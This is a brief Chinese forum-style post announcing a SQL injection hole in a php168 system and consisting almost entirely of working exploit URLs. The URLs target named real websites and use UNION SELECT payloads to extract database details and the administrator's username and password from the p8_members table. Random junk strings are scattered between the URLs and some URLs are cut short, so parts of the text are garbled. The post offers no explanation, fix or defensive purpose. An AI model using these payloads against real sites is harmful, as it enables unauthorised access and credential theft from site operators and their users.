php168某系统注入漏洞

admin

http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
& W0 [% X+ z: B# ^9 x! p0 I( l1 G& C                                                         
1 N3 ^! d3 }% O& z, t                                       
3 G# z, Z6 H' G; Z6 \# w
http://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
0 T9 B& ^  ]! r# o" F                                                     
4 N4 [) E3 a& n* H! I                                                                  
                                                        
http://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--

* Q; O6 E7 H& e6 @. e4 \& R

  F! G: i1 [/ o' H: T                                                            
/ J7 p+ v' e. w
" ~9 n$ T( }2 i9 q9 J6 Phttp://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--

0 o" O, }) |; u3 r# \& t

                                                                    
1 L  D: h, @% |